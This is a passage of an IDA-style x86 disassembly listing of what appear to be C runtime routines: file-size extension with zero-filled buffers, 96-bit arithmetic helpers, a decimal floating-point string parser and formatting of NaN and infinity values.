XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 25E0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 2660882h mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 